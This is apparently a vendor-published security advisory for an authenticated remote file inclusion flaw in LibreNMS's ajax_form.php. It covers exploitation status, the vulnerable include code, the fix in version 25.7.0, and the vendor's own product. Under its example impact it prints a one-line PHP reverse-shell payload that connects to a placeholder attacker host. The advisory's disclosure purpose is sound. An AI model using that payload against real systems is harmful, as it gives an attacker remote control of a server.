GHSA-gq96-8w38-hhj2 is a high-severity (CVSS 7.5) CWE-98 vulnerability in librenms/librenms. A fix is available for librenms/librenms — see the affected versions and patch details below.
LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gq96-8w38-hhj2.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-gq96-8w38-hhj2 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
librenms/librenmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
LibreNMS 25.6.0 contains an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input.
The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting:
if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {
include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';
}
This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.
This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.
Conditions for Exploitation
- Attacker must be authenticated
- Attacker must control a file at
includes/html/forms/{type}.inc.php(or symlink)
Example Impact (RCE)
If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the librenms user context:
<?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?>
https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812
Recommended Fix
- Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames.
- Avoid passing raw POST input into
include_once. - Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | librenms/librenms | all versions | 25.7.0composer require librenms/librenms:^25.7.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update librenms/librenms to 25.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gq96-8w38-hhj2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-gq96-8w38-hhj2 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-gq96-8w38-hhj2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gq96-8w38-hhj2 in your dependencies?
O3 Security finds GHSA-gq96-8w38-hhj2 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.